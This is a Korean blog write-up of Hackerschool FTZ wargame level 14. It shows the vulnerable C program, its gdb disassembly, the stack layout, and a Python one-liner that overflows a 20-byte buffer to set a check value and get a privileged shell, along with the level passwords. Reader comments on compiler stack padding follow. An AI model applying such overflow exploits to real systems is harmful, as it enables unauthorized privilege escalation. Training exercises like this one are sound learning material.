728x90
반응형


해커스쿨 FTZ [LEVEL14] 풀이


M4ndU




해커스쿨 FTZ [LEVEL14] 풀이입니다.


ID | level14

PW | what that nigga want?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level14

level14@192.168.31.128's password:

[level14@ftz level14]$ ls -l

total 28

-rwsr-x---    1 level15  level14     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level14       346 Dec 10  2002 hint

drwxr-xr-x    2 root     level14      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level14      4096 Jan 11  2009 tmp

[level14@ftz level14]$ cat hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}




이번에는 check의 값이 0xdeadbeef 이면 쉘을 띄우네요.

리턴값을 덮을 필요 없이 check의 값만 덮어 씌워주면 될 것 같습니다.


그런데 입력을 45바이트로 제한하네요.

부족해 보이는 것 같지만 gdb로 분석을 해보면?


[level14@ftz level14]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>:    push   ebp

0x08048491 <main+1>:    mov    ebp,esp

0x08048493 <main+3>:    sub    esp,0x38

0x08048496 <main+6>:    sub    esp,0x4

0x08048499 <main+9>:    push   ds:0x8049664

0x0804849f <main+15>:   push   0x2d

0x080484a1 <main+17>:   lea    eax,[ebp-56]

0x080484a4 <main+20>:   push   eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    esp,0x10

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    esp,0x8

0x080484b9 <main+41>:   push   0xc17

0x080484be <main+46>:   push   0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    esp,0x10

0x080484cb <main+59>:   sub    esp,0xc

0x080484ce <main+62>:   push   0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    esp,0x10

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    esi,[esi]




낮은 주소


buf[20] [ebp-56]

dummy[20]

check[4] [ebp-16]

crap[4] 과 dummy[8]

SFP[4]

RET[4]


높은 주소


buf시작부터 check 마지막부분까지 44바이트 이니 1바이트정도 여유가 있는 것을 알 수 있습니당.


이제 check부분을 덮어줍시다.


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme


[level14@ftz level14]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

my-pass


Level15 Password is "guess what".




간단하죠?

레벨 20을 향해 가즈아!!!!!!!

728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
  1. 세인 2019.07.25 19:55

    궁금한 게 있습니다!! 달고나 님 문서를 보면 gcc 2.9.6 이전 버전은 word로 할당을 하고
    이후 버전은 4word 단위로 할당을 하고 뒤에 8byte의 더미가 붙는다고 하더라구요..
    저는 당연히 4word단위 인 줄 알고 32byte배열 + 8byte를 해서 푸는 중이었는데
    알고보니 word단위로 20byte배열에 20byte dummy 이더군요...
    어떻게 word단위 이신 걸 알았나요?ㅠㅠㅠㅠ

    • M4ndU 2019.07.25 22:55 신고

      c코드를 보시면 buf가 char형으로 선언되어 있습니다.

  2. 세인 2019.07.31 03:07

    저 하나가 더 궁금해서 왔습니다.
    ebp-56 에는 buf 가 있고
    쭉 올라가서 ebp-16에는 check가 있고
    그러면 ebp-12에는 crap이 있을텐데
    ebp-8
    ebp-4
    에는 각각 어떤 값들이 들어있나요????
    sfp와 ret은 아니지 않나요??

    • M4ndU 2019.07.31 20:37 신고

      본문에도 나와있듯, 할당되어 있지 않고 쓰레기값(dummy)가 들어 있습니다.

+ Recent posts